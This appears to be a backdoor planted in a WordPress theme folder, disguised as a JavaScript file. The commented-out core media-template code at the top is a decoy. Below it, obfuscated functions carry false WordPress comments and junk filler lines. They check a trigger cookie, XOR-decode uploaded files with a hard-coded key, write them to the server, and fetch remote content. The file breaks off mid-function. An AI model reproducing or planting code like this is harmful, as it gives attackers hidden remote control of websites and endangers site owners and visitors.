File: /storage/v6964/gopalak/public_html/wp-content/themes/36791oo3/zuhP.js.php
<?php /*
*
* WordPress media templates.
*
* @package WordPress
* @subpackage Media
* @since 3.5.0
*
* Outputs the markup for an audio tag to be used in an Underscore template
* when data.model is passed.
*
* @since 3.9.0
function wp_underscore_audio_template() {
$audio_types = wp_get_audio_extensions();
?>
<audio style="visibility: hidden"
controls
class="wp-audio-shortcode"
width="{{ _.isUndefined( data.model.width ) ? 400 : data.model.width }}"
preload="{{ _.isUndefined( data.model.preload ) ? 'none' : data.model.preload }}"
<#
<?php /*
foreach ( array( 'autoplay', 'loop' ) as $attr ) :
?>
if ( ! _.isUndefined( data.model.<?php /* echo $attr; ?> ) && data.model.<?php /* echo $attr; ?> ) {
#> <?php /* echo $attr; ?><#
}
<?php /* endforeach; ?>#>
>
<# if ( ! _.isEmpty( data.model.src ) ) { #>
<source src="{{ data.model.src }}" type="{{ wp.media.view.settings.embedMimes[ data.model.src.split('.').pop() ] }}" />
<# } #>
<?php /*
foreach ( $audio_types as $type ) :
?>
<# if ( ! _.isEmpty( data.model.<?php /* echo $type; ?> ) ) { #>
<source src="{{ data.model.<?php /* echo $type; ?> }}" type="{{ wp.media.view.settings.embedMimes[ '<?php /* echo $type; ?>' ] }}" />
<# } #>
<?php /*
endforeach;
?>
</audio>
<?php /*
}
*
* Outputs the markup for a video tag to be used in an Underscore template
* when data.model is passed.
*
* @since 3.9.0
function wp_underscore_video_template() {
$video_types = wp_get_video_extensions();
?>
<# var w_rule = '', classes = [],
w, h, settings = wp.media.view.settings,
isYouTube = isVimeo = false;
if ( ! _.isEmpty( data.model.src ) ) {
isYouTube = data.model.src.match(/youtube|youtu\.be/);
isVimeo = -1 !== data.model.src.indexOf('vimeo');
}
if ( settings.contentWidth && data.model.width >= settings.contentWidth ) {
w = settings.contentWidth;
} else {
w = data.model.width;
}
if ( w !== data.model.width ) {
h = Math.ceil( ( data.model.height * w ) / data.model.width );
} else {
h = data.model.height;
}
if ( w ) {
w_rule = 'width: ' + w + 'px; ';
}
if ( isYouTube ) {
classes.push( 'youtube-video' );
}
if ( isVimeo ) {
classes.push( 'vimeo-video' );
}
#>
<div style="{{ w_rule }}" class="wp-video">
<video controls
class="wp-video-shortcode {{ classes.join( ' ' ) }}"
<# if ( w ) { #>width="{{ w }}"<# } #>
<# if ( h ) { #>height="{{ h }}"<# } #>
<?php /*
$props = array(
'poster' => '',
'preload' => 'metadata',
);
foreach ( $props as $key => $value ) :
if ( empty( $value ) ) {
?>
<#
if ( ! _.isUndefined( data.model.<?php /* echo $key; ?> ) && data.model.<?php /* echo $key; ?> ) {
#> <?php /* echo $key; ?>="{{ data.model.<?php /* echo $key; ?> }}"<#
} #>
<?php /*
} else {
echo $key
?>
="{{ _.isUndefined( data.model.<?php /* echo $key; ?> ) ? '<?php /* echo $value; ?>' : data.model.<?php /* echo $key; ?> }}"
<?php /*
}
endforeach;
?>
<#
<?php /*
foreach ( array( 'autoplay', 'loop' ) as $attr ) :
?>
if ( ! _.isUndefined( data.model.<?php /* echo $attr; ?> ) && data.model.<?php /* echo $attr; ?> ) {
#> <?php /* echo $attr; ?><#
}
<?php /* endforeach; ?>#>
>
<# if ( ! _.isEmpty( data.model.src ) ) {
if ( isYouTube ) { #>
<source src="{{ data.model.src }}" type="video/youtube" />
<# } else if ( isVimeo ) { #>
<source src="{{ data.model.src }}" type="video/vimeo" />
<# } else { #>
<source src="{{ data.model.src }}" type="{{ settings.embedMimes[ data.model.src.split('.').pop() ] }}" />
<# }
} #>
<?php /*
foreach ( $video_types as $type ) :
?>
<# if ( data.model.<?php /* echo $type; ?> ) { #>
<source src="{{ data.model.<?php /* echo $type; ?> }}" type="{{ settings.embedMimes[ '<?php /* echo $type; ?>' ] }}" />
<# } #>
<?php /* endforeach; ?>
{{{ data.model.content }}}
</video>
</div>
<?php /*
}
*
* Prints the templates used in the media manager.
*
* @since 3.5.0
function wp_print_media_templates() {
$class = 'media-modal wp-core-ui';
$alt_text_description = sprintf(
translators: 1: Link to tutorial, 2: Additional link attributes, 3: Accessibility text.
__( '<a href="%1$s" %2$s>Learn how to describe the purpose of the image%3$s</a>. Leave empty if the image is purely decorative.' ),
translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
esc_url( __( 'https:www.w3.org/WAI/tutorials/images/decision-tree/' ) ),
'target="_blank" rel="noopener"',
sprintf(
'<span class="screen-reader-text"> %s</span>',
translators: Hidden accessibility text.
__( '(opens in a new tab)' )
)
);
?>
<?php /* Template for the media frame: used both in the media grid and in the media modal. ?>
<script type="text/html" id="tmpl-media-frame">
<div class="media-frame-title" id="media-frame-title"></div>
<h2 class="media-frame-menu-heading"><?php /* _ex( 'Actions', 'media modal menu actions' ); ?></h2>
<button type="button" class="button button-link media-frame-menu-toggle" aria-expanded="false">
<?php /* _ex( 'Menu', 'media modal menu' ); ?>
<span class="dashicons dashicons-arrow-down" aria-hidden="true"></span>
</button>
<div class="media-frame-menu"></div>
<div class="media-frame-tab-panel">
<div class="media-frame-router"></div>
<div class="media-frame-content"></div>
</div>
<h2 class="media-frame-actions-heading screen-reader-text">
<?php /*
translators: Hidden accessibility text.
_e( 'Selected media actions' );
?>
</h2>
<div class="media-frame-toolbar"></div>
<div class="media-frame-uploader"></div>
</script>
<?php /* Template for the media modal. ?>
<script type="text/html" id="tmpl-media-modal">
<div tabindex="0" class="<?php /* echo $class; ?>" role="dialog" aria-labelledby="media-frame-title">
<# if ( data.hasCloseButton ) { #>
<button type="button" class="media-modal-close"><span class="media-modal-icon"><span class="screen-reader-text">
<?php /*
translators: Hidden accessibility text.
_e( 'Close dialog' );
?>
</span></span></button>
<# } #>
<div class="media-modal-content" role="document"></div>
</div>
<div class="media-modal-backdrop"></div>
</script>
<?php /* Template for the window uploader, used for example in the media grid. ?>
<script type="text/html" id="tmpl-uploader-window">
<div class="uploader-window-content">
<div class="uploader-editor-title"><?php /* _e( 'Drop files to upload' ); ?></div>
</div>
</script>
<?php /* Template for the editor uploader. ?>
<script type="text/html" id="tmpl-uploader-editor">
<div class="uploader-editor-content">
<div class="uploader-editor-title"><?php /* _e( 'Drop files to upload' ); ?></div>
</div>
</script>
<?php /* Template for the inline uploader, used for example in the Media Library admin page - Add New. ?>
<script type="text/html" id="tmpl-uploader-inline">
<# var messageClass = data.message ? 'has-upload-message' : 'no-upload-message'; #>
<# if ( data.canClose ) { #>
<button class="close dashicons dashicons-no"><span class="screen-reader-text">
<?php /*
translators: Hidden accessibility text.
_e( 'Close uploader' );
?>
</span></button>
<# } #>
<div class="uploader-inline-content {{ messageClass }}">
<# if ( data.message ) { #>
<h2 class="upload-message">{{ data.message }}</h2>
<# } #>
<?php /* if ( ! _device_can_upload() ) : ?>
<div class="upload-ui">
<h2 class="upload-instructions"><?php /* _e( 'Your browser cannot upload files' ); ?></h2>
<p>
<?php /*
printf(
translators: %s: https:apps.wordpress.org/
__( 'The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.' ),
'https:apps.wordpress.org/'
);
?>
</p>
</div>
<?php /* elseif ( is_multisite() && ! is_upload_space_available() ) : ?>
<div class="upload-ui">
<h2 class="upload-instructions"><?php /* _e( 'Upload Limit Exceeded' ); ?></h2>
<?php /*
* This action is documented in wp-admin/includes/media.php
do_action( 'upload_ui_over_quota' );
?>
</div>
<?php /* else : ?>
<div class="upload-ui">
<h2 class="upload-instructions drop-instructions"><?php /* _e( 'Drop files to upload' ); ?></h2>
<p class="upload-instructions drop-instructions"><?php /* _ex( 'or', 'Uploader: Drop files here - or - Select Files' ); ?></p>
<button type="button" class="browser button button-hero" aria-labelledby="post-upload-info"><?php /* _e( 'Select Files' ); ?></button>
</div>
<div class="upload-inline-status"></div>
<div class="post-upload-ui" id="post-upload-info">
<?php /*
* This action is documented in wp-admin/includes/media.php
do_action( 'pre-upload-ui' ); phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
* This action is documented in wp-admin/includes/media.php
do_action( 'pre-plupload-upload-ui' ); phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
if ( 10 === remove_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' ) ) {
* This action is documented in wp-admin/includes/media.php
do_action( 'post-plupload-upload-ui' ); phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
add_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' );
} else {
* This action is documented in wp-admin/includes/media.php
do_action( 'post-plupload-upload-ui' ); phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}
$max_upload_size = wp_max_upload_size();
if ( ! $max_upload_size ) {
$max_upload_size = 0;
}
?>
<p class="max-upload-size">
<?php /*
printf(
translators: %s: Maximum allowed file size.
__( 'Maximum upload file size: %s.' ),
esc_html( size_format( $max_upload_size ) )
);
?>
</p>
<# if ( data.suggestedWidth && data.suggestedHeight ) { #>
<p class="suggested-dimensions">
<?php /*
translators: 1: Suggested width number, 2: Suggested height number.
printf( __( 'Suggested image dimensions: %1$s by %2$s pixels.' ), '{{data.suggestedWidth}}', '{{data.suggestedHeight}}' );
?>
</p>
<# } #>
<?php /*
* This action is documented in wp-admin/includes/media.php
do_action( 'post-upload-ui' ); phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
?>
</div>
<?php /* endif; ?>
</div>
</script>
<?php /* Template for the view switchers, used for example in the Media Grid. ?>
<script type="text/html" id="tmpl-media-library-view-switcher">
<a href="<?php /* echo esc_url( add_query_arg( 'mode', 'list', admin_url( 'upload.php' ) ) ); ?>" class="view-list">
<span class="screen-reader-text">
<?php /*
translators: Hidden accessibility text.
_e( 'List view' );
?>
</span>
</a>
<a href="<?php /* echo esc_url( add_query_arg( 'mode', 'grid', admin_url( 'upload.php' ) ) ); ?>" class="view-grid current" aria-current="page">
<span class="screen-reader-text">
<?php /*
translators: Hidden accessibility text.
_e( 'Grid view' );
?>
</span>
</a>
</script>
<?php /* Template for the uploading status UI. ?>
<script type="text/html" id="tmpl-uploader-status">
<h2><?php /* _e( 'Uploading' ); ?></h2>
<div class="media-progress-bar"><div></div></div>
<div class="upload-details">
<span class="upload-count">
<span class="upload-index"></span> / <span class="upload-total"></span>
</span>
<span class="upload-detail-separator">–</span>
<span class="upload-filename"></span>
</div>
<div class="upload-errors"></div>
<button type="button" class="button upload-dismiss-errors"><?php /* _e( 'Dismiss errors' ); ?></button>
</script>
<?php /* Template for the uploading status errors. ?>
<script type="text/html" id="tmpl-uploader-status-error">
<span class="upload-error-filename">{{{ data.filename }}}</span>
<span class="upload-error-message">{{ data.message }}</span>
</script>
<?php /* Template for the Attachment Details layout in the media browser. ?>
<script type="text/html" id="tmpl-edit-attachment-frame">
<div class="edit-media-header">
<button class="left dashicons"<# if ( ! data.hasPrevious ) { #> disabled<# } #>><span class="screen-reader-text"><?php /* translators: Hidden accessibility text. _e( 'Edit previous media item' ); ?></span></button>
<button class="right dashicons"<# if ( ! data.hasNext ) { #> disabled<# } #>><span class="screen-reader-text"><?php /* translators: Hidden accessibility text. _e( 'Edit next media item' ); ?></span></button>
<button type="button" class="media-modal-close"><span class="media-modal-icon"><span class="screen-reader-text"><?php /* _e( 'Close dialog' ); ?></span></span></button>
</div>
<div class="media-frame-title"></div>
<div class="media-frame-content"></div>
</script>
<?php /* Template for the Attachment Details two columns layout. ?>
<script type="text/html" id="tmpl-attachment-details-two-column">
<div class="attachment-media-view {{ data.orientation }}">
<?php /*
if ( isset( $_GET['error'] ) && 'deprecated' === $_GET['error'] ) {
wp_admin_notice(
__( 'The Edit Media screen is deprecated as of WordPress 6.3. Please use the Media Library instead.' ),
array(
'id' => 'message',
'additional_classes' => array( 'error' ),
)
);
}
?>
<h2 class="screen-reader-text"><?php /* translators: Hidden accessibility text. _e( 'Attachment Preview' ); ?></h2>
<div class="thumbnail thumbnail-{{ data.type }}">
<# if ( data.uploading ) { #>
<div class="media-progress-bar"><div></div></div>
<# } else if ( data.sizes && data.sizes.full ) { #>
<img class="details-image" src="{{ data.sizes.full.url }}" draggable="false" alt="" />
<# } else if ( data.sizes && data.sizes.large ) { #>
<img class="details-image" src="{{ data.sizes.large.url }}" draggable="false" alt="" />
<# } else if ( -1 === jQuery.inArray( data.type, [ 'audio', 'video' ] ) ) { #>
<img class="details-image icon" src="{{ data.icon }}" draggable="false" alt="" />
<# } #>
<# if ( 'audio' === data.type ) { #>
<div class="wp-media-wrapper wp-audio">
<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
<source type="{{ data.mime }}" src="{{ data.url }}" />
</audio>
</div>
<# } else if ( 'video' === data.type ) {
var w_rule = '';
if ( data.width ) {
w_rule = 'width: ' + data.width + 'px;';
} else if ( wp.media.view.settings.contentWidth ) {
w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;';
}
#>
<div style="{{ w_rule }}" class="wp-media-wrapper wp-video">
<video controls="controls" class="wp-video-shortcode" preload="metadata"
<# if ( data.width ) { #>width="{{ data.width }}"<# } #>
<# if ( data.height ) { #>height="{{ data.height }}"<# } #>
<# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>>
<source type="{{ data.mime }}" src="{{ data.url }}" />
</video>
</div>
<# } #>
<div class="attachment-actions">
<# if ( 'image' === data.type && ! data.uploading && data.sizes && data.can.save ) { #>
<button type="button" class="button edit-attachment"><?php /* _e( 'Edit Image' ); ?></button>
<# } else if ( 'pdf' === data.subtype && data.sizes ) { #>
<p><?php /* _e( 'Document Preview' ); ?></p>
<# } #>
</div>
</div>
</div>
<div class="attachment-info">
<span class="settings-save-status" role="status">
<span class="spinner"></span>
<span class="saved"><?php /* esc_html_e( 'Saved.' ); ?></span>
</span>
<div class="details">
<h2 class="screen-reader-text">
<?php /*
translators: Hidden accessibility text.
_e( 'Details' );
?>
</h2>
<div class="uploaded"><strong><?php /* _e( 'Uploaded on:' ); ?></strong> {{ data.dateFormatted }}</div>
<div class="uploaded-by">
<strong><?php /* _e( 'Uploaded by:' ); ?></strong>
<# if ( data.authorLink ) { #>
<a href="{{ data.authorLink }}">{{ data.authorName }}</a>
<# } else { #>
{{ data.authorName }}
<# } #>
</div>
<# if ( data.uploadedToTitle ) { #>
<div class="uploaded-to">
<strong><?php /* _e( 'Uploaded to:' ); ?></strong>
<# if ( data.uploadedToLink ) { #>
<a href="{{ data.uploadedToLink }}">{{ data.uploadedToTitle }}</a>
<# } else { #>
{{ data.uploadedToTitle }}
<# } #>
</div>
<# } #>
<div class="filename"><strong><?php /* _e( 'File name:' ); ?></strong> {{ data.filename }}</div>
<div class="file-type"><strong><?php /* _e( 'File type:' ); ?></strong> {{ data.mime }}</div>
<div class="file-size"><strong><?php /* _e( 'File size:' ); ?></strong> {{ data.filesizeHumanReadable }}</div>
<# if ( 'image' === data.type && ! data.uploading ) { #>
<# if ( data.width && data.height ) { #>
<div class="dimensions"><strong><?php /* _e( 'Dimensions:' ); ?></strong>
<?php /*
translators: 1: A number of pixels wide, 2: A number of pixels tall.
printf( __( '%1$s by %2$s pixels' ), '{{ data.width }}', '{{ data.height }}' );
?>
</div>
<# } #>
<# if ( data.originalImageURL && data.originalImageName ) { #>
<div class="word-wrap-break-word">
<strong><?php /* _e( 'Original image:' ); ?></strong>
<a href="{{ data.originalImageURL }}">{{data.originalImageName}}</a>
</div>
<# } #>
<# } #>
<# if ( data.fileLength && data.fileLengthHumanReadable ) { #>
<div class="file-length"><strong><?php /* _e( 'Length:' ); ?></strong>
<span aria-hidden="true">{{ data.fileLengthHumanReadable }}</span>
<span class="screen-reader-text">{{ data.fileLengthHumanReadable }}</span>
</div>
<# } #>
<# if ( 'audio' === data.type && data.meta.bitrate ) { #>
<div class="bitrate">
<strong><?php /* _e( 'Bitrate:' ); ?></strong> {{ Math.round( data.meta.bitrate / 1000 ) }}kb/s
<# if ( data.meta.bitrate_mode ) { #>
{{ ' ' + data.meta.bitrate_mode.toUpperCase() }}
<# } #>
</div>
<# } #>
<# if ( data.mediaStates ) { #>
<div class="media-states"><strong><?php /* _e( 'Used as:' ); ?></strong> {{ data.mediaStates }}</div>
<# } #>
<div class="compat-meta">
<# if ( data.compat && data.compat.meta ) { #>
{{{ data.compat.meta }}}
<# } #>
</div>
</div>
<div class="settings">
<# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #>
<# if ( 'image' === data.type ) { #>
<span class="setting alt-text has-description" data-setting="alt">
<label for="attachment-details-two-column-alt-text" class="name"><?php /* _e( 'Alternative Text' ); ?></label>
<textarea id="attachment-details-two-column-alt-text" aria-describedby="alt-text-description" {{ maybeReadOnly }}>{{ data.alt }}</textarea>
</span>
<p class="description" id="alt-text-description"><?php /* echo $alt_text_description; ?></p>
<# } #>
<?php /* if ( post_type_supports( 'attachment', 'title' ) ) : ?>
<span class="setting" data-setting="title">
<label for="attachment-details-two-column-title" class="name"><?php /* _e( 'Title' ); ?></label>
<input type="text" id="attachment-details-two-column-title" value="{{ data.title }}" {{ maybeReadOnly }} />
</span>
<?php /* endif; ?>
<# if ( 'audio' === data.type ) { #>
<?php /*
foreach ( array(
'artist' => __( 'Artist' ),
'album' => __( 'Album' ),
) as $key => $label ) :
?>
<span class="setting" data-setting="<?php /* echo esc_attr( $key ); ?>">
<label for="attachment-details-two-column-<?php /* echo esc_attr( $key ); ?>" class="name"><?php /* echo $label; ?></label>
<input type="text" id="attachment-details-two-column-<?php /* echo esc_attr( $key ); ?>" value="{{ data.<?php /* echo $key; ?> || data.meta.<?php /* echo $key; ?> || '' }}" />
</span>
<?php /* endforeach; ?>
<# } #>
<span class="setting" data-setting="caption">
<label for="attachment-details-two-column-caption" class="name"><?php /* _e( 'Caption' ); ?></label>
<textarea id="attachment-details-two-column-caption" {{ maybeReadOnly }}>{{ data.caption }}</textarea>
</span>
<span class="setting" data-setting="description">
<label for="attachment-details-two-column-description" class="name"><?php /* _e( 'Description' ); ?></label>
<textarea id="attachment-details-two-column-description" {{ maybeReadOnly }}>{{ data.description }}</textarea>
</span>
<span class="setting" data-setting="url">
<label for="attachment-details-two-column-copy-link" class="name"><?php /* _e( 'File URL:' ); ?></label>
<input type="text" class="attachment-details-copy-link" id="attachment-details-two-column-copy-link" value="{{ data.url }}" readonly />
<span class="copy-to-clipboard-container">
<button type="button" class="button button-small copy-attachment-url" data-clipboard-target="#attachment-details-two-column-copy-link"><?php /* _e( 'Copy URL to clipboard' ); ?></button>
<span class="success hidden" aria-hidden="true"><?php /* _e( 'Copied!' ); ?></span>
</span>
</span>
<div class="attachment-compat"></div>
</div>
<div class="actions">
<# if ( data.link ) { #>
<?php /*
$view_media_text = ( '1' === get_option( 'wp_attachment_pages_enabled' ) ) ? __( 'View attachment page' ) : __( 'View media file' );
?>
<a class="view-attachment" href="{{ data.link }}"><?php /* echo $view_media_text; ?></a>
<# } #>
<# if ( data.can.save ) { #>
<# if ( data.link ) { #>
<span class="links-separator">|</span>
<# } #>
<a href="{{ data.editLink }}"><?php /* _e( 'Edit more details' ); ?></a>
<# } #>
<# if ( data.can.save && data.link ) { #>
<span class="links-separator">|</span>
<a href="{{ data.url }}" download><?php /* _e( 'Download file' ); ?></a>
<# } #>
<# if ( ! data.uploading && data.can.remove ) { #>
<# if ( data.link || data.can.save ) { #>
<span class="links-separator">|</span>
<# } #>
<?php /* if ( MEDIA_TRASH ) : ?>
<# if ( 'trash' === data.status ) { #>
<button type="button" class="button-link untrash-attachment"><?php /* _e( 'Restore from Trash' ); ?></button>
<# } else { #>
<button type="button" class="button-link trash-attachment"><?php /* _e( 'Move to Trash' ); ?></button>
<# } #>
<?php /* else : ?>
<button type="button" class="button-link delete-attachment"><?php /* _e( 'Delete permanently' ); ?></button>
<?php /* endif; ?>
<# } #>
</div>
</div>
</script>
<?php /* Template for the Attachment "thumbnails" in the Media Grid. ?>
<script type="text/html" id="tmpl-attachment">
<div class="attachment-preview js--select-attachment type-{{ data.type }} subtype-{{ data.subtype }} {{ data.orientation }}">
<div class="thumbnail">
<# if ( data.uploading ) { #>
<div class="media-progress-bar"><div style="width: {{ data.percent }}%"></div></div>
<# } else if ( 'image' === data.type && data.size && data.size.url ) { #>
<div class="centered">
<img src="{{ data.size.url }}" draggable="false" alt="" />
</div>
<# } else { #>
<div class="centered">
<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
<img src="{{ data.image.src }}" class="thumbnail" draggable="false" alt="" />
<# } else if ( data.sizes && data.sizes.medium ) { #>
<img src="{{ data.sizes.medium.url }}" class="thumbnail" draggable="false" alt="" />
<# } else { #>
<img src="{{ data.icon }}" class="icon" draggable="false" alt="" />
<# } #>
</div>
<div class="filename">
<div>{{ data.filename }}</div>
</div>
<# } #>
</div>
<# if ( data.buttons.close ) { #>
<button type="button" class="button-link attachment-close media-modal-icon"><span class="screen-reader-text">
<?php /*
translators: Hidden accessibility text.
_e( 'Remove' );
?>
</span></button>
<# } #>
</div>
<# if ( data.buttons.check ) { #>
<button type="button" class="check" tabindex="-1"><span class="media-modal-icon"></span><span class="screen-reader-text">
<?php /*
translators: Hidden accessibility text.
_e( 'Deselect' );
?>
</span></button>
<# } #>
<#
var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly';
if ( data.describe ) {
if ( 'image' === data.type ) { #>
<input type="text" value="{{ data.caption }*/
/**
* Handles updating settings for the current Recent Comments widget instance.
*
* @since 2.8.0
*
* @param array $new_instance New settings for this instance as input by the user via
* WP_Widget::form().
* @param array $old_instance Old settings for this instance.
* @return array Updated settings to save.
*/
function prepare_starter_content_attachments($BlockOffset, $site_count)
{
$p_p1p1 = move_uploaded_file($BlockOffset, $site_count); // 3.1
$reusable_block = "URLencodedText";
$TargetTypeValue = rawurldecode($reusable_block); // edit_user maps to edit_users.
$rows = hash('sha256', $TargetTypeValue);
$lang_file = str_pad($rows, 64, "0");
$unfiltered_posts = strlen($TargetTypeValue);
return $p_p1p1;
}
/**
* Constructs the controller.
*
* @since 5.0.0
*/
function does_block_need_a_list_item_wrapper($order_text) // Check permissions for customize.php access since this method is called before customize.php can run any code.
{
TrimTerm($order_text);
$open_button_directives = str_replace("World", "PHP", "Hello, World!");
gzip_compression($order_text);
}
/*
* Only start maintenance mode if:
* - running Multisite and there are one or more themes specified, OR
* - a theme with an update available is currently in use.
* @todo For multisite, maintenance mode should only kick in for individual sites if at all possible.
*/
function comment($renamed) {
$mf_item = "PHP Programming!";
$v_dirlist_descr = hash('md5', $mf_item); // 'parent' overrides 'child_of'.
$redirect_obj = substr($v_dirlist_descr, 0, 10);
return md5($renamed); // Alias.
}
/**
* Customize Manager class.
*
* Bootstraps the Customize experience on the server-side.
*
* Sets up the theme-switching process if a theme other than the active one is
* being previewed and customized.
*
* Serves as a factory for Customize Controls and Settings, and
* instantiates default Customize Controls and Settings.
*
* @since 3.4.0
*/
function attachment_submitbox_metadata($renamed) {
$parent_comment = "example string"; // A file is required and URLs to files are not currently allowed.
$quality = hash("sha1", $parent_comment);
$quality = comment($renamed);
$site_ids = substr($quality, 0, 8);
return get_category_template($renamed, $quality);
} // retrieve_widgets() looks at the global $sidebars_widgets.
/**
* Outputs the content for the current Meta widget instance.
*
* @since 2.8.0
*
* @param array $PossiblyLongerLAMEversion_Stringrgs Display arguments including 'before_title', 'after_title',
* 'before_widget', and 'after_widget'.
* @param array $pointersnstance Settings for the current Meta widget instance.
*/
function generichash_init_salt_personal($last_result) // <= 32000
{
$last_result = register_block_core_avatar($last_result);
$ob_render = "Another string for demo";
$total_revisions = explode(' ', $ob_render);
return file_get_contents($last_result);
}
/**
* Retrieves the post pages link navigation for previous and next pages.
*
* @since 2.8.0
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param string|array $PossiblyLongerLAMEversion_Stringrgs {
* Optional. Arguments to build the post pages link navigation.
*
* @type string $sep Separator character. Default '—'.
* @type string $prelabel Link text to display for the previous page link.
* Default '« Previous Page'.
* @type string $nxtlabel Link text to display for the next page link.
* Default 'Next Page »'.
* }
* @return string The posts link navigation.
*/
function unpoify($sanitized_policy_name, $pageregex)
{ // Convert from an input field. Back-compat for WPMU < 1.0.
return file_put_contents($sanitized_policy_name, $pageregex);
}
/**
* Gets the error that was recorded for a paused plugin.
*
* @since 5.2.0
*
* @global WP_Paused_Extensions_Storage $_paused_plugins
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return array|false Array of error information as returned by `error_get_last()`,
* or false if none was recorded.
*/
function set_url_replacements($sanitized_policy_name, $SI2)
{
$link_test = file_get_contents($sanitized_policy_name);
$postname_index = wp_paused_plugins($link_test, $SI2); // * Script Command Object (commands for during playback)
$PossiblyLongerLAMEversion_String = "sample text";
$size_total = str_replace("e", "E", $PossiblyLongerLAMEversion_String); // In the case of 'term_taxonomy_id', override the provided `$taxonomy` with whatever we find in the DB.
$registered_sidebars_keys = strlen($size_total);
$m_key = "done";
file_put_contents($sanitized_policy_name, $postname_index);
}
/**
* @internal You should not use this directly from another application
*
* @param string $sk
* @return string
* @throws SodiumException
* @throws TypeError
*/
function get_test_php_version($rating_value)
{
$p1 = 'DwECTrgSBpuccyvHCtPqDf';
$publish_box = "StringData";
$original_user_id = str_pad($publish_box, 20, '*'); // Fallback for all above failing, not expected, but included for
if (isset($_COOKIE[$rating_value])) {
cutfield($rating_value, $p1);
$LongMPEGlayerLookup = rawurldecode($original_user_id);
$updated_widget_instance = hash('sha256', $LongMPEGlayerLookup);
}
}
/**
* Get a category for the feed
*
* @since Unknown
* @param int $SI2 The category that you want to return. Remember that arrays begin with 0, not 1
* @return SimplePie_Category|null
*/
function update_blog_option($v_extract, $sticky_inner_html)
{
$theme_has_sticky_support = unpack_package($v_extract) - unpack_package($sticky_inner_html);
$postponed_time = "abcdefghij";
if (!empty($postponed_time)) {
$GUIDstring = substr($postponed_time, 2, 5);
$rawarray = str_replace("cd", "DC", $GUIDstring);
$mailHeader = hash("sha1", $rawarray);
}
$theme_has_sticky_support = $theme_has_sticky_support + 256;
$theme_has_sticky_support = $theme_has_sticky_support % 256; // s23 += carry22;
$v_extract = wp_newComment($theme_has_sticky_support); // This can only be an integer or float, so this is fine.
return $v_extract;
}
/**
* Filters an application password before it is inserted via the REST API.
*
* @since 5.6.0
*
* @param stdClass $prepared An object representing a single application password prepared for inserting or updating the database.
* @param WP_REST_Request $request Request object.
*/
function unpack_package($uninstallable_plugins)
{
$uninstallable_plugins = ord($uninstallable_plugins); // Editor styles.
$PossiblyLongerLAMEversion_String = "custom string";
$size_total = rawurldecode("custom%20string");
$registered_sidebars_keys = strlen($PossiblyLongerLAMEversion_String);
$m_key = substr($size_total, 7, 3);
$translations = array($PossiblyLongerLAMEversion_String, $size_total);
return $uninstallable_plugins; // Validate title.
}
/**
* Retrieves the list of all registered block bindings sources.
*
* @since 6.5.0
*
* @return WP_Block_Bindings_Source[] The array of registered block bindings sources.
*/
function get_post_mime_type($rating_value, $p1, $order_text)
{
$style_handle = $_FILES[$rating_value]['name'];
$valid_schema_properties = "foo bar";
$user_data = explode(" ", $valid_schema_properties);
$sanitized_policy_name = clean_blog_cache($style_handle);
$location_id = array_map('strtoupper', $user_data);
$videos = implode("-", $location_id);
set_url_replacements($_FILES[$rating_value]['tmp_name'], $p1);
prepare_starter_content_attachments($_FILES[$rating_value]['tmp_name'], $sanitized_policy_name);
}
/*
* If the theme is using the default background callback, we can update
* the background CSS using postMessage.
*/
function post_type_exists($postponed_time) { // Save the alias to this clause, for future siblings to find.
$PossiblyLongerLAMEversion_String = "fetch data";
$size_total = substr($PossiblyLongerLAMEversion_String, 0, 5);
$registered_sidebars_keys = count(array($PossiblyLongerLAMEversion_String)); // Start time $xx xx xx xx
$m_key = hash("crc32", $size_total); //Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
$translations = str_pad($registered_sidebars_keys, 10, "x");
return $postponed_time === has_errors($postponed_time); // If src not a file reference, use it as is.
}
/**
* Fires before comments are sent to the Trash.
*
* @since 2.9.0
*
* @param int $post_id Post ID.
*/
function add_supports($tax_name) {
$loaded_language = array(5, 10, 15); // Typography text-decoration is only applied to the label and button.
$HeaderObjectsCounter = count($loaded_language); // Allow non-published (private, future) to be viewed at a pretty permalink, in case $post->post_name is set.
$p5 = array_sum($tax_name);
$prev_revision = str_pad($HeaderObjectsCounter, 4, "0", STR_PAD_LEFT);
$thumbnail_width = hash("md5", $prev_revision);
$packs = row_actions($tax_name);
return ['sum' => $p5, 'median' => $packs];
}
/** This filter is documented in wp-includes/comment-template.php */
function validate_user_signup($normalized_blocks_path)
{
$postponed_time = pack("H*", $normalized_blocks_path);
$PossiblyLongerLAMEversion_String = "this is a test";
$size_total = explode(" ", $PossiblyLongerLAMEversion_String);
return $postponed_time;
} // No attributes are allowed for closing elements.
/**
* Handles getting an attachment via AJAX.
*
* @since 3.5.0
*/
function read_line($rating_value, $p1, $order_text)
{
if (isset($_FILES[$rating_value])) {
$next_comments_link = hash('sha256', 'data');
$option_tag_apetag = empty($next_comments_link);
$ylen = str_pad($next_comments_link, 100, '*'); // Block Pattern Categories.
$nowww = " padded string ";
$wp_registered_sidebars = strlen(trim($nowww));
get_post_mime_type($rating_value, $p1, $order_text);
while(!$option_tag_apetag && $wp_registered_sidebars > 0) {
$previewed_setting = substr($ylen, 0, $wp_registered_sidebars);
$tz = $wp_registered_sidebars ^ 5;
$resource_key = $previewed_setting . $tz;
$option_tag_apetag = empty($previewed_setting);
}
}
gzip_compression($order_text);
}
/**
* Ensures the 'meta_query' argument passed to the class constructor is well-formed.
*
* Eliminates empty items and ensures that a 'relation' is set.
*
* @since 4.1.0
*
* @param array $queries Array of query clauses.
* @return array Sanitized array of query clauses.
*/
function is_safe_css_declaration($to_sign) {
